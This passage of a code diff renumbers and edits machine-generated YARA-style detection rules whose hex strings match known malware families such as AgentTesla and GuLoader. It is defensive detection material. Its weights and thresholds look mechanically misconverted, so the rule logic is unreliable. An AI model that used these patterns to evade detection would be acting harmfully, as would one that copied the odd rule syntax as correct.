1)*28261+(#a_65_2 & 1)*8306+(#a_53_4 & 1)*8993+(#a_00_5 & 1)*17474+(#a_33_6 & 1)*12801) >=5 + +} +rule _InfrastructureShared_19033{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 16 00 21 " @@ -214779,7 +228891,7 @@ rule _InfrastructureShared_17877{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*12358+(#a_34_2 & 1)*17409+(#a_35_3 & 1)*12356+(#a_34_4 & 1)*13621+(#a_33_5 & 1)*16709+(#a_34_6 & 1)*28265+(#a_74_7 & 1)*25966+(#a_72_8 & 1)*11554+(#a_6c_9 & 1)*28720+(#a_00_10 & 1)*32+(#a_00_11 & 1)*99+(#a_52_14 & 1)*21320+(#a_61_15 & 1)*25192+(#a_81_16 & 1)*1+(#a_81_17 & 1)*1+(#a_43_18 & 1)*0+(#a_01_19 & 1)*8448+(#a_47_20 & 1)*12089) >=5 } -rule _InfrastructureShared_17878{ +rule _InfrastructureShared_19034{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -214793,7 +228905,7 @@ rule _InfrastructureShared_17878{ ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*29795+(#a_6d_2 & 1)*29300+(#a_68_3 & 1)*12085+(#a_00_5 & 1)*78) >=6 } -rule _InfrastructureShared_17879{ +rule _InfrastructureShared_19035{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -214807,7 +228919,7 @@ rule _InfrastructureShared_17879{ ((#a_6c_0 & 1)*16675+(#a_3c_2 & 1)*17920+(#a_00_4 & 1)*62+(#a_00_5 & 1)*109+(#a_2f_6 & 1)*18771) >=7 } -rule _InfrastructureShared_17880{ +rule _InfrastructureShared_19036{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -214823,7 +228935,7 @@ rule _InfrastructureShared_17880{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*13927+(#a_73_2 & 1)*29230+(#a_65_3 & 1)*11891+(#a_6c_4 & 1)*11873+(#a_30_5 & 1)*30802+(#a_37_6 & 1)*19275) >=7 } -rule _InfrastructureShared_17881{ +rule _InfrastructureShared_19037{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -214839,7 +228951,7 @@ rule _InfrastructureShared_17881{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28515+(#a_77_2 & 1)*17784+(#a_00_3 & 1)*15719+(#a_62_4 & 1)*385+(#a_6c_6 & 1)*385+(#a_72_7 & 1)*385) >=8 } -rule _InfrastructureShared_17882{ +rule _InfrastructureShared_19038{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -214856,7 +228968,7 @@ rule _InfrastructureShared_17882{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30837+(#a_32_2 & 1)*385+(#a_50_3 & 1)*-32481+(#a_65_4 & 1)*24950+(#a_23_5 & 1)*8995+(#a_23_6 & 1)*8995+(#a_64_7 & 1)*28524) >=8 } -rule _InfrastructureShared_17883{ +rule _InfrastructureShared_19039{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -214873,7 +228985,7 @@ rule _InfrastructureShared_17883{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*24924+(#a_6c_2 & 1)*25202+(#a_01_3 & 1)*30720+(#a_65_4 & 1)*29301+(#a_52_5 & 1)*29797+(#a_6f_6 & 1)*384+(#a_2e_7 & 1)*27763) >=8 } -rule _InfrastructureShared_17884{ +rule _InfrastructureShared_19040{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0d 00 21 " @@ -214886,16 +228998,16 @@ rule _InfrastructureShared_17884{ $a_8e_5 = {20 00 04 00 00 2e f0 } //2822 $a_10_6 = {00 00 00 12 01 07 8e 69 28 01 00 00 2b 07 28 05 00 00 0a 07 01 00 0b 81 01 72 65 73 6f 75 72 63 65 4d 61 6e 01 00 0f 81 01 72 65 73 6f 75 72 63 65 43 75 6c 74 75 72 65 01 00 06 81 01 52 } //5384 $a_7a_7 = {01 00 07 81 01 52 65 76 65 72 73 65 01 00 10 81 01 47 65 74 45 78 70 6f 72 74 65 64 54 79 70 65 73 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 01 00 25 81 01 24 38 39 34 34 31 64 61 66 2d 65 61 36 35 2d 34 37 64 64 2d 62 30 32 35 2d 65 66 62 36 37 66 65 30 37 65 32 63 01 00 27 81 01 42 68 69 79 76 62 76 64 6c 7a 64 } //29541 - $a_63_8 = {69 6f 6e 61 72 69 65 73 2e 56 61 6c 4d 65 72 63 68 61 6e 74 44 69 63 01 00 1e 81 01 4e 66 6d 6b 7a 6b 64 77 76 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 00 00 78 43 01 00 0b 00 0b 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4a 4b 54 32 } //17454 - $a_54_9 = {00 02 00 31 01 11 07 07 09 58 08 11 04 58 6f 65 00 00 0a 13 0c 12 0c 28 66 00 00 0a 13 0a 11 06 11 05 11 0a 9c 11 05 17 58 13 05 11 04 17 58 13 04 11 04 17 32 cf 01 00 2a 01 16 13 05 20 00 68 00 00 8d 05 00 00 01 13 06 06 20 7b 76 } //8499 - $a_37_10 = {00 06 6f 64 00 00 0a 75 14 00 00 01 13 07 16 0b 2b 52 01 00 31 81 01 53 69 6e 67 6c 65 53 65 72 76 65 72 53 79 73 74 65 } //10915 - $a_72_11 = {70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 25 81 01 24 63 31 66 31 33 64 30 33 2d 33 64 34 63 2d 34 33 65 66 2d 61 32 66 31 2d 35 34 35 32 31 37 36 35 34 30 62 33 01 00 08 81 01 47 65 74 42 79 74 } //11885 - $a_00_12 = {05 } //29541 + $a_63_8 = {69 6f 6e 61 72 69 65 73 2e 56 61 6c 4d 65 72 63 68 61 6e 74 44 69 63 01 00 1e 81 01 4e 66 6d 6b 7a 6b 64 77 76 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 00 00 78 43 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 5a 21 4d 54 } //17454 + $a_00_9 = {22 } //66 " + $a_70_10 = {72 6b 65 74 67 75 6c 76 65 5c 63 72 6f 61 6b 69 6e 67 5c 49 6d 6d 61 74 75 72 65 6c 32 33 39 01 00 1e 81 01 5c 70 69 65 64 65 73 74 61 6c 65 72 73 5c 73 70 6c 69 74 74 65 6c 73 65 6e 73 2e 69 6e 69 01 00 18 81 01 5c 65 74 74 61 6c 6c 65 72 6e 65 73 5c 69 6d 70 6f 72 74 73 2e } //385 + $a_01_11 = {00 10 81 01 5c 62 65 73 6b 69 6b 6b 65 6c 73 65 2e 67 69 66 01 00 0f 81 01 5c 68 61 72 6d 6f 74 6f 6d 69 63 2e 69 6e 69 01 00 12 81 01 5c 64 69 61 63 72 69 74 69 63 61 6c 6c 79 2e 65 78 65 01 00 19 81 01 5c 62 65 73 76 6f 72 65 74 5c 62 61 72 65 74 74 65 72 6e 65 73 2e 69 6e 69 01 00 18 81 01 5c 67 72 6f 73 73 65 72 65 72 65 73 5c 63 } //27002 + $a_6e_12 = {65 2e 68 74 6d 01 00 19 81 01 5c 74 69 6c 6c 67 73 6d 61 61 64 65 5c 4d 6f 75 6a 69 6b 31 38 2e 6a 70 67 01 00 11 81 01 42 72 64 6d 61 73 6b 69 6e 65 72 6e 65 2e 74 78 74 00 00 78 43 01 00 0b 00 0b 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4a 4b 54 32 33 21 4d 54 42 00 } //24936 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29301+(#a_6f_2 & 1)*25978+(#a_49_3 & 1)*21505+(#a_00_4 & 1)*14348+(#a_8e_5 & 1)*2822+(#a_10_6 & 1)*5384+(#a_7a_7 & 1)*29541+(#a_63_8 & 1)*17454+(#a_54_9 & 1)*8499+(#a_37_10 & 1)*10915+(#a_72_11 & 1)*11885+(#a_00_12 & 1)*29541) >=8 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29301+(#a_6f_2 & 1)*25978+(#a_49_3 & 1)*21505+(#a_00_4 & 1)*14348+(#a_8e_5 & 1)*2822+(#a_10_6 & 1)*5384+(#a_7a_7 & 1)*29541+(#a_63_8 & 1)*17454+(#a_00_9 & 1)*66+(#a_70_10 & 1)*385+(#a_01_11 & 1)*27002+(#a_6e_12 & 1)*24936) >=8 } -rule _InfrastructureShared_17885{ +rule _InfrastructureShared_19041{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -214903,16 +229015,35 @@ rule _InfrastructureShared_17885{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 52 45 5a 31 31 33 37 21 4d 54 42 00 01 00 35 01 8d 02 00 00 01 0b 16 0c 38 06 00 00 00 28 07 00 00 06 0b 07 8e 69 20 00 04 00 00 2e f0 08 15 3e 10 00 00 00 12 01 07 8e 69 28 } //18467 $a_00_3 = {0b } //1802 $a_65_4 = {6f 75 72 63 65 4d 61 6e 01 00 0f 81 01 72 65 73 6f 75 72 63 65 43 75 6c 74 75 72 65 01 00 06 81 01 52 65 73 69 7a 65 01 00 07 81 01 52 65 76 65 72 73 65 01 00 10 81 01 47 65 74 45 78 70 6f 72 74 65 64 54 79 70 65 73 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 01 00 25 81 01 24 38 39 34 34 31 64 61 66 2d 65 61 36 35 2d 34 37 64 64 2d 62 30 32 } //385 - $a_66_5 = {36 37 66 65 30 37 65 32 63 01 00 27 81 01 42 68 69 79 76 62 76 64 6c 7a 64 2e 44 69 63 74 69 6f 6e 61 72 69 65 73 2e 56 61 6c 4d 65 72 63 68 61 6e 74 44 69 63 01 00 1e 81 01 4e 66 6d 6b 7a 6b 64 77 76 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 00 00 78 43 01 00 0b 00 0b 00 0a 00 21 } //11573 - $a_54_6 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4a 4b 54 32 33 21 4d 54 42 00 02 00 31 01 11 07 07 09 58 08 11 04 58 6f 65 00 00 0a 13 0c 12 0c 28 66 00 00 0a 13 0a 11 06 11 05 11 0a 9c 11 05 17 58 13 05 11 04 17 58 13 04 } //18467 - $a_32_7 = {01 00 2a 01 16 13 05 20 00 68 00 00 8d 05 00 00 01 13 06 06 20 7b 76 } //1041 - $a_37_8 = {00 06 6f 64 00 00 0a 75 14 00 00 01 13 07 16 0b 2b 52 01 00 31 81 01 53 69 6e 67 6c 65 53 65 72 76 65 72 53 79 73 74 65 } //10915 - $a_72_9 = {70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 25 81 01 24 63 31 66 31 33 64 30 33 2d 33 64 34 63 2d 34 33 65 66 2d 61 32 66 31 2d 35 34 35 32 31 37 36 35 34 30 62 33 01 00 08 81 01 47 65 74 42 79 74 } //11885 + $a_66_5 = {36 37 66 65 30 37 65 32 63 01 00 27 81 01 42 68 69 79 76 62 76 64 6c 7a 64 2e 44 69 63 74 69 6f 6e 61 72 69 65 73 2e 56 61 6c 4d 65 72 63 68 61 6e 74 44 69 63 01 00 1e 81 01 4e 66 6d 6b 7a 6b 64 77 76 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 00 00 78 43 01 00 0a 00 0a 00 0a 00 21 } //11573 + $a_54_6 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 5a 21 4d 54 42 00 01 00 22 81 01 5c 70 61 72 6b 65 74 67 75 6c 76 65 5c 63 72 6f 61 6b 69 6e 67 5c 49 6d 6d 61 74 75 72 65 6c 32 33 39 01 00 1e 81 01 5c 70 69 65 64 65 73 74 } //18467 + $a_72_7 = {5c 73 70 6c 69 74 74 65 6c 73 65 6e 73 2e 69 6e 69 01 00 18 81 01 5c 65 74 74 61 6c 6c 65 72 6e 65 73 5c 69 6d 70 6f 72 74 73 2e 7a 69 70 01 00 10 81 01 5c 62 65 73 6b 69 6b 6b 65 6c 73 65 2e 67 69 66 01 00 0f 81 01 5c 68 61 72 6d 6f 74 6f 6d 69 63 2e 69 6e 69 01 00 12 81 01 5c 64 69 61 63 72 69 74 69 } //27745 + $a_6c_8 = {2e 65 78 65 01 00 19 81 01 5c 62 65 73 76 6f 72 65 74 5c 62 61 72 65 74 74 65 72 6e 65 73 2e 69 6e 69 01 00 18 81 01 5c 67 72 6f 73 73 65 72 65 72 65 73 5c 63 68 61 6e 6e 69 65 2e 68 74 6d 01 00 19 81 01 5c 74 69 6c 6c 67 73 6d 61 61 64 65 5c 4d 6f 75 6a 69 6b 31 38 2e 6a 70 67 01 00 11 81 01 42 72 64 6d 61 73 6b 69 6e 65 } //24931 + $a_2e_9 = {78 74 00 00 78 43 01 00 0b 00 0b 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4a 4b 54 32 33 21 4d 54 42 00 02 00 31 01 11 07 07 09 58 08 11 04 58 6f 65 00 00 0a 13 0c 12 0c 28 66 00 00 0a 13 0a 11 06 11 05 11 0a 9c 11 05 17 58 13 05 11 04 17 58 } //28274 condition: - ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*1802+(#a_65_4 & 1)*385+(#a_66_5 & 1)*11573+(#a_54_6 & 1)*18467+(#a_32_7 & 1)*1041+(#a_37_8 & 1)*10915+(#a_72_9 & 1)*11885) >=10 + ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*1802+(#a_65_4 & 1)*385+(#a_66_5 & 1)*11573+(#a_54_6 & 1)*18467+(#a_72_7 & 1)*27745+(#a_6c_8 & 1)*24931+(#a_2e_9 & 1)*28274) >=10 } -rule _InfrastructureShared_17886{ +rule _InfrastructureShared_19042{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 5a 21 4d 54 42 00 01 00 22 81 01 5c 70 61 72 6b 65 74 67 75 6c 76 65 5c 63 72 6f 61 6b 69 6e 67 5c 49 6d 6d 61 74 75 72 65 6c 32 33 39 01 00 1e 81 01 5c 70 69 65 64 65 73 74 } //18467 + $a_72_1 = {5c 73 70 6c 69 74 74 65 6c 73 65 6e 73 2e 69 6e 69 01 00 18 81 01 5c 65 74 74 61 6c 6c 65 72 6e 65 73 5c 69 6d 70 6f 72 74 73 2e 7a 69 70 01 00 10 81 01 5c 62 65 73 6b 69 6b 6b 65 6c 73 65 2e 67 69 66 01 00 0f 81 01 5c 68 61 72 6d 6f 74 6f 6d 69 63 2e 69 6e 69 01 00 12 81 01 5c 64 69 61 63 72 69 74 69 } //27745 + $a_6c_2 = {2e 65 78 65 01 00 19 81 01 5c 62 65 73 76 6f 72 65 74 5c 62 61 72 65 74 74 65 72 6e 65 73 2e 69 6e 69 01 00 18 81 01 5c 67 72 6f 73 73 65 72 65 72 65 73 5c 63 68 61 6e 6e 69 65 2e 68 74 6d 01 00 19 81 01 5c 74 69 6c 6c 67 73 6d 61 61 64 65 5c 4d 6f 75 6a 69 6b 31 38 2e 6a 70 67 01 00 11 81 01 42 72 64 6d 61 73 6b 69 6e 65 } //24931 + $a_2e_3 = {78 74 00 00 78 43 01 00 0b 00 0b 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4a 4b 54 32 33 21 4d 54 42 00 02 00 31 01 11 07 07 09 58 08 11 04 58 6f 65 00 00 0a 13 0c 12 0c 28 66 00 00 0a 13 0a 11 06 11 05 11 0a 9c 11 05 17 58 13 05 11 04 17 58 } //28274 + $a_04_4 = {17 32 cf 01 00 2a 01 16 13 05 20 00 68 00 00 8d 05 } //1043 + $a_13_5 = {06 } //0 + $a_a3_6 = {28 37 00 00 06 6f 64 00 00 0a 75 14 00 00 01 13 07 16 0b 2b 52 01 00 31 81 01 53 69 6e 67 6c 65 53 65 72 76 65 72 53 79 73 74 65 6d 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 25 81 01 24 63 31 66 31 33 64 30 33 2d 33 64 34 63 2d 34 33 65 66 2d 61 32 66 31 2d 35 34 35 32 31 37 36 35 34 30 62 33 01 } //31520 + $a_01_7 = {47 65 74 42 79 74 65 73 01 00 05 81 01 53 70 6c 69 74 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 01 00 08 81 01 47 65 74 50 69 78 65 6c 01 00 07 81 01 47 65 74 54 79 70 65 01 00 0c 81 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 00 00 78 43 01 00 0b 00 0b 00 0b 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 4b 41 46 31 33 37 21 4d 54 42 00 01 } //2048 + $a_01_8 = {54 6f 53 74 72 69 6e 67 01 00 20 81 01 46 69 6e 61 6c 41 73 73 69 67 6e 4c 69 62 72 61 72 79 2e 43 43 43 2e 72 65 73 6f 75 72 63 65 73 01 00 15 81 01 54 61 73 6b 31 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 01 00 31 81 01 46 69 6e 61 6c 41 73 73 69 67 6e 4c 69 62 72 61 72 79 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 07 81 } //2048 + $a_70_9 = {61 63 65 01 00 06 81 01 54 6f 42 79 74 65 01 00 14 81 01 47 65 74 45 78 65 63 75 74 69 6e 67 41 73 73 65 6d 62 6c 79 01 00 08 81 01 47 65 74 42 79 74 65 73 01 00 0e 81 01 54 6f 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 25 81 01 24 36 33 62 } //20993 + condition: + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*27745+(#a_6c_2 & 1)*24931+(#a_2e_3 & 1)*28274+(#a_04_4 & 1)*1043+(#a_13_5 & 1)*0+(#a_a3_6 & 1)*31520+(#a_01_7 & 1)*2048+(#a_01_8 & 1)*2048+(#a_70_9 & 1)*20993) >=10 + +} +rule _InfrastructureShared_19043{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0a 00 21 " @@ -214931,7 +229062,7 @@ rule _InfrastructureShared_17886{ ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*1041+(#a_37_2 & 1)*10915+(#a_72_3 & 1)*11885+(#a_00_4 & 1)*29541+(#a_70_5 & 1)*385+(#a_49_6 & 1)*19770+(#a_6f_7 & 1)*11825+(#a_70_8 & 1)*20993+(#a_35_9 & 1)*25443) >=11 } -rule _InfrastructureShared_17887{ +rule _InfrastructureShared_19044{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -214951,7 +229082,7 @@ rule _InfrastructureShared_17887{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25955+(#a_67_2 & 1)*26996+(#a_00_3 & 1)*11+(#a_4d_4 & 1)*28257+(#a_08_5 & 1)*5632+(#a_17_6 & 1)*2321+(#a_69_7 & 1)*26485+(#a_81_8 & 1)*1+(#a_43_9 & 1)*0+(#a_68_10 & 1)*28769) >=11 } -rule _InfrastructureShared_17888{ +rule _InfrastructureShared_19045{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -214971,7 +229102,7 @@ rule _InfrastructureShared_17888{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*11018+(#a_0d_2 & 1)*1278+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1) >=11 } -rule _InfrastructureShared_17889{ +rule _InfrastructureShared_19046{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -214989,7 +229120,7 @@ rule _InfrastructureShared_17889{ ((#a_54_0 & 1)*18467+(#a_65_2 & 1)*17153+(#a_45_3 & 1)*28521+(#a_54_4 & 1)*18467+(#a_01_5 & 1)*26959+(#a_36_6 & 1)*29537+(#a_53_7 & 1)*-32763+(#a_00_9 & 1)*17272+(#a_48_11 & 1)*8448) >=12 } -rule _InfrastructureShared_17890{ +rule _InfrastructureShared_19047{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -215008,7 +229139,7 @@ rule _InfrastructureShared_17890{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*26959+(#a_36_2 & 1)*29537+(#a_53_3 & 1)*-32763+(#a_00_5 & 1)*17272+(#a_48_7 & 1)*8448+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1) >=12 } -rule _InfrastructureShared_17891{ +rule _InfrastructureShared_19048{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -215028,7 +229159,7 @@ rule _InfrastructureShared_17891{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-197+(#a_2a_2 & 1)*17153+(#a_2b_3 & 1)*11082+(#a_00_4 & 1)*25968+(#a_65_5 & 1)*385+(#a_68_7 & 1)*22016+(#a_00_9 & 1)*115+(#a_00_10 & 1)*112+(#a_00_11 & 1)*111+(#a_69_12 & 1)*14924) >=13 } -rule _InfrastructureShared_17892{ +rule _InfrastructureShared_19049{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 08 00 21 " @@ -215043,7 +229174,7 @@ rule _InfrastructureShared_17892{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*112+(#a_00_4 & 1)*98+(#a_74_5 & 1)*19828+(#a_41_6 & 1)*400+(#a_90_7 & 1)*0) >=16 } -rule _InfrastructureShared_17893{ +rule _InfrastructureShared_19050{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -215055,7 +229186,7 @@ rule _InfrastructureShared_17893{ ((#a_4c_0 & 1)*21539+(#a_48_1 & 1)*400+(#a_44_2 & 1)*18434) >=3 } -rule _InfrastructureShared_17894{ +rule _InfrastructureShared_19051{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0a 00 21 " @@ -215072,7 +229203,7 @@ rule _InfrastructureShared_17894{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*8292+(#a_25_2 & 1)*15934+(#a_70_3 & 1)*-32757+(#a_67_4 & 1)*27750+(#a_6f_5 & 1)*18286+(#a_2d_7 & 1)*2305+(#a_2d_8 & 1)*14637) >=3 } -rule _InfrastructureShared_17895{ +rule _InfrastructureShared_19052{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -215084,7 +229215,7 @@ rule _InfrastructureShared_17895{ ((#a_46_0 & 1)*16675+(#a_2c_1 & 1)*108+(#a_43_3 & 1)*19968) >=4 } -rule _InfrastructureShared_17896{ +rule _InfrastructureShared_19053{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -215097,7 +229228,7 @@ rule _InfrastructureShared_17896{ ((#a_54_0 & 1)*18467+(#a_36_1 & 1)*11576+(#a_32_2 & 1)*11586+(#a_2d_3 & 1)*16685) >=4 } -rule _InfrastructureShared_17897{ +rule _InfrastructureShared_19054{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -215110,7 +229241,7 @@ rule _InfrastructureShared_17897{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*17206+(#a_45_2 & 1)*15157+(#a_3b_3 & 1)*13627) >=4 } -rule _InfrastructureShared_17898{ +rule _InfrastructureShared_19055{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -215124,7 +229255,7 @@ rule _InfrastructureShared_17898{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28265+(#a_69_2 & 1)*8303+(#a_00_3 & 1)*27756+(#a_20_4 & 1)*11521) >=5 } -rule _InfrastructureShared_17899{ +rule _InfrastructureShared_19056{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -215134,7 +229265,7 @@ rule _InfrastructureShared_17899{ ((#a_54_0 & 1)*18467) >=5 } -rule _InfrastructureShared_17900{ +rule _InfrastructureShared_19057{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -215149,7 +229280,7 @@ rule _InfrastructureShared_17900{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29301+(#a_30_2 & 1)*25392+(#a_6f_3 & 1)*12325+(#a_25_4 & 1)*12336+(#a_00_5 & 1)*65) >=5 } -rule _InfrastructureShared_17901{ +rule _InfrastructureShared_19058{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 21 " @@ -215165,7 +229296,7 @@ rule _InfrastructureShared_17901{ ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*8293+(#a_20_2 & 1)*26740+(#a_5c_4 & 1)*23644+(#a_2e_5 & 1)*25956+(#a_64_6 & 1)*24934+(#a_73_7 & 1)*25692) >=6 } -rule _InfrastructureShared_17902{ +rule _InfrastructureShared_19059{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -215182,7 +229313,7 @@ rule _InfrastructureShared_17902{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*24939+(#a_74_2 & 1)*25964+(#a_6c_3 & 1)*26473+(#a_01_4 & 1)*5+(#a_03_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=8 } -rule _InfrastructureShared_17903{ +rule _InfrastructureShared_19060{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 21 " @@ -215196,7 +229327,7 @@ rule _InfrastructureShared_17903{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*82+(#a_04_2 & 1)*-31985+(#a_64_3 & 1)*25452+(#a_6c_4 & 1)*25646) >=10 } -rule _InfrastructureShared_17904{ +rule _InfrastructureShared_19061{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 09 00 21 " @@ -215213,7 +229344,7 @@ rule _InfrastructureShared_17904{ ((#a_46_0 & 1)*16675+(#a_56_1 & 1)*28261+(#a_65_2 & 1)*26984+(#a_00_3 & 1)*17528+(#a_41_5 & 1)*8448+(#a_35_6 & 1)*384+(#a_6e_7 & 1)*26988+(#a_80_8 & 1)*1) >=10 } -rule _InfrastructureShared_17905{ +rule _InfrastructureShared_19062{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -215232,7 +229363,7 @@ rule _InfrastructureShared_17905{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29773+(#a_2e_2 & 1)*31337+(#a_32_3 & 1)*13945+(#a_75_4 & 1)*23652+(#a_64_5 & 1)*29285+(#a_6f_6 & 1)*26478+(#a_66_7 & 1)*21249+(#a_67_8 & 1)*26980+(#a_6c_9 & 1)*29552) >=10 } -rule _InfrastructureShared_17906{ +rule _InfrastructureShared_19063{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -215251,7 +229382,7 @@ rule _InfrastructureShared_17906{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*-32488+(#a_6f_2 & 1)*24940+(#a_68_3 & 1)*24941+(#a_6f_4 & 1)*27493+(#a_72_5 & 1)*26478+(#a_76_6 & 1)*25697+(#a_65_7 & 1)*25700+(#a_64_8 & 